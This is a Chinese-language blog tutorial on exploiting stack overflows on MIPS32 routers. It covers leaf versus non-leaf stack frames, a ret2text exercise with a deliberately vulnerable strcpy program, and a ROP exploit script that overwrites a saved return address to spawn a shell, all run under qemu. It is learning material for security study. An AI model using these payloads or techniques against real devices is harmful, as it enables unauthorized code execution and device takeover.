路由器栈溢出漏洞入门(一)

前言

上周,花了一周多一点的时间来学了一些Linux kernel pwn入门,主要是学了Wiki上面的四个利用姿势;具体可以看我的前几篇博客。然后的话,接下来会入门路由器的栈溢出。因为是初学,所以也会尽可能地详细地记录。

MIPS32架构堆栈

有关MIPS汇编的一些基础知识,可以参考以下我的这一篇博文
在计算机科学中,栈是一种具有先进后出队列特性的数据结构。调用栈是指存放某个程序正在运行的函数的信息的栈。调用栈由栈帧组成,每个栈帧对应一个未完成的函数。
而MIPS32架构的堆栈与传统PC的架构复杂指令系统不同,大多数采用Linux嵌入式操作系统的路由器采用的是MIPS指令系统,该指令系统属于精简指令系统。MIPS32架构的函数调用与x86架构有很大的差别,具体有以下几个方面:

  1. 栈操作:MIPS32架构堆栈与X86的一样,都是向低地址增长的。但是在MIPS32架构中没有EBP,进入一个函数时,需要将当前栈指针向下移动n比特,这个大小为n比特的存储空间就是此函数的栈。此后,栈指针便不再移动,只能在函数返回时将栈指针加上这个偏移量恢复栈现场。由于不能随便移动栈指针,所以寄存器压栈和出栈都必须制定偏移量。
  2. 调用:如果函数A调用函数B,调用者函数会在自己的栈定预留一部分空间来保存被调用者的参数,我们称之为调用参数空间。
  3. 参数传递方式:前四个传入的参数通过a0-a3传递。有些函数的参数可能会超过四个,此时多余的参数会被放入到调用参数空间。x86架构下的所有参数都是通过堆栈传递的。
  4. 返回地址:在x86架构中,使用call指令调用函数时,会先将当前执行位置压入堆栈。MIPS的调用指令把返回地址直接存入RA寄存器而不是堆栈中。

函数调用

在MIPS32架构中,函数被分为两种即叶子函数和非叶子函数。MIPS函数的调用过程与x86的不同。在x86的体系结构下,函数A调用函数B,总是先将函数A的地址压入栈中,在函数B执行完毕返回A函数时,再从堆栈中弹出返回函数A的地址,然后返回A继续执行。而在MIPS架构下,叶子函数的返回地址是直接放在 ra 寄存器中,而非叶子函数需要调用另外的函数,这里的差异就造成了非叶子函数需要把当前的返回地址暂时存放在栈上。

举个栗子:

int main(){
    int i;
    int sum = 0;
    for(i=0;i<5;i++){
        sum = sum +i;
    }
}

编译链接,查看汇编代码:

sudo ./buildroot/output/host/bin/mipsel-linux-gcc ~/leaf.c -static  -o ~/no_leaf

然后拉进ida查看

可以看到,在我们进入main函数的时候,并没有对RA寄存器进行任何操作,而当我们退出main函数的时候,是直接jr 到我们$ra寄存器存放的地址;这就是叶子函数调用时的栈布局。
下面稍作调整:

int main(){
    int i;
    int sum = 0;
    for(i=0;i<5;i++){
        sum = sum +i;
        printf("sum = %d",sum);
    }
}

同上编译链接:

sudo ./buildroot/output/host/bin/mipsel-linux-gcc ~/leaf.c -static  -o ~/leaf

拉进ida查看:

可以看到,在我们进入main函数的栈之后,我们先把$ra寄存器的值存放到了我们的0x28+var_4($sp)这个栈空间,然后在我们退出main函数的栈时,先是把我们的0x28+var_4($sp)栈地址的值赋值给我们的$ra寄存器,然后再jr到对应地址。
所以,对于非叶子函数来说,如果存在局部变量溢出,就可能导致堆栈上的返回地址被覆盖,从而控制执行流。因此这种情况下缓冲区溢出是可以被利用的。但是对于叶子函数来说,它的返回地址是没有放置在栈上,所以我们无法修改对应的返回地址。但是这不意味者叶子函数的缓冲区溢出就完全无法利用。如果缓冲区溢出覆盖的区域足够大,我们是有可能覆盖到上一层调用该函数的函数的返回地址的。所以,当非叶子函数中存在缓冲区溢出漏洞时,程序上的执行流程也是存在被劫持的可能性的。
因此,在MIPS32的体系中,栈溢出利用仍然是可行的。

一道简单的例题(ret2text)

代码

#include<stdio.h>
#include <stdlib.h>
#include <string.h>
void backdoor(){
system("/bin/sh");
}
void has_stack(char *src)
{
char dst[20]={0};
strcpy(dst,src);
printf("copy successfully");
}
void main(int argc,char *argv[])
{
has_stack(argv[1]);
}                                                                                                                                                      

编译链接

./buildroot/output/host/bin/mipsel-linux-gcc ~/stack.c -static -o  ~/stack

GDB调试:

先挂起:

qemu-mipsel -g 1234 ./stack aaaaaaaaaaaaaaaaaaaa

然后gdb连接调试:

gdb-multiarch  ./stack

然后再在gdb里面

target remote:1234

gdb连接起来后,在我们的strcpy之后下个断点:

然后查看此时栈的情况:

所以,由上图可以算出覆盖到返回地址的地址偏移。

劫持程序流

最后利用:

qemu-mipsel stack `python -c "print 'a'*28+'x90x03x40x00'"`

成功get到我们的shell!!!

栈的布局,可以看看这幅图:

栈的生长方向为低地址向高地址,缓冲区溢出时就向 main 函数的区域溢出,控制程序流也就需要溢出到原来的RA寄存器处的栈空间

ROP

采坑一

这里讲一下环境的安装吧,这里的环境又搞了我好久。。。。
首先,我们需要ROP链,就需要找gadget。
而在MIPS架构中,一般是利用ida中的插件mipsrop。
但是这个mipsrop插件有两个版本,一个是只支持ida 6.7以下版本的;一个是支持ida 7.0版本的。
昨晚的时候先是在ubantu安装了wine,然后在ubantu模拟运行了Windows版本的ida 6.8,发现里面的py脚本无效,后来就在ubantu中利用wine模拟运行ida7.0,然后发现缺少很多Windows下的dll文件,然后就在我的Windows复制过去,但是还是不成功,压根无法运行起来。
最后是安装了ubantu版本的ida,然后用了第一个版本的插件,才成功了。主要是参考了这篇文章

举个栗子

这里主要是以路由器0day里面的那道题为例:

#include<stdio.h>
#include<sys/stat.h>
#include<unistd.h>
void do_system(int code,char *cmd)
{
char buf[255];
system(cmd);
}
void main()
{
char buf[256]={0};
char ch;
int count=0;
unsigned int filelen=0;
struct stat fileData;
FILE *fp;
if(0==stat("passwd",&fileData))
{
filelen=fileData.st_size;
}
else
{
return 1;
}
if((fp=fopen("passwd","rb"))==NULL)
{
printf("cannot open file passwd!
");
}
ch=fgetc(fp);
while(count<=filelen)
{
buf[count++]=ch;
ch=fgetc(fp);
}
buf[--count]='x00';
if(!strcmp(buf,"adminpwd"))
{
do_system(count,"ls -l");
}
else{
printf("you have an invalid password!
");
}
fclose(fp);
}

题目的漏洞比较明显,我们的main函数中buf存在溢出条件,而且main函数还是非叶子函数,所以我们可以利用覆盖栈中的返回地址(保存的RA寄存器)。

计算偏移

首先需要查看我们覆盖的buf距离我们栈中返回地址的偏移。我这里是利用了书本给的脚本生成我们的测试文件(其实这个挺随意的,主要生成的字符串保证不重复即可)

import sys
import time
a ='ABCDEFGHIJKLMNOPQRSTUVWXYZ'
b ='abcdefghijklmnopqrstuvwxyz'
c ='0123456789'
def generate(count,output):
        codestr=''
        for i in range(0,count):
                codestr += a[i/(26*10)] + b[(i%(26*10))/10] + c[i%(26*10)%10]
                print(codestr)
        print 'ok!'
        if output:
                print ('[+] output to %s'%output)
                fw = open(output,'w')
                fw.write(codestr)
                fw.close()
                print 'ok!'
        else:
                return codestr
        print "it is ok!"
generate(600,'passwd')                 

生成我们的测试文件passwd,然后我们利用ida远程调试;
先挂起

qemu-mipsel -g 1234 ./vunl_system

然后利用我们的ida远程链接,f9让其跑,最后发现:


PC寄存器被我们引到0x6e41376e处,也就是字符串"n7An"(我安装的是小端序),所以我们可以利用ubantu自带的LibreOffice查找偏移:

查找gadget

这里我利用的是上面说到的mipsrop,ida中的一个插件。


发现这个gadget符合我们的要求,因为我们的do_system的第一个参数(对应于a0)对我们并没有关系,我们只需要劫持我们的第二个参数(a1)为我们的"/sh"等get shell参数即可。
所以,我们只需要在我们的sp+0x18的位置构造我们的get shell参数,在我们的sp+0x54的地方构造我们的do_system函数的地址即可。
这里说一个自己踩的坑吧。我们的ROP链是在main函数返回上一层才会被触发的,当运行到我们的ROP链时,这时候main的栈已经被回收了。

攻击脚本

import struct
print '[*] prepare shellcode'
cmd='sh'                               #command string
cmd+="x00"*(4-len(cmd))               #align by 4 bytes
# shellcode 
shellcode="A"*412                      #padding buf
shellcode+=struct.pack("<L",0x00401f70)#mine is little-endian here
shellcode+="A"*24
shellcode+=cmd
shellcode+="B"*(0x3c-len(cmd))
shellcode+=struct.pack("<L",0x00400390)
shellcode+="BBBB"
print 'ok!'
fw=open('passwd','w')
fw.write(shellcode)
fw.close()
print 'ok!'

成功get shell

总结

这个本就应该在周五晚上被解决的问题,硬生生拖到了周日早上才解决。真的要反思以下自己的效率问题。。。
本博文属于博主在MIPS架构栈的初探,接下来会继续深入。不过应该要在几天后,要学一下数据库了,要不真的挂科了。。。而且打算去了解以下内核的文件系统的内容,因为之前做kernel pwn入门的时候,对于fop等一些内容了解得不够清晰,想去深入探究一下。

参考

https://www.anquanke.com/post/id/169689(H4lo大佬)
https://xz.aliyun.com/t/6808#toc-11

原文地址:https://www.cnblogs.com/T1e9u/p/13854687.html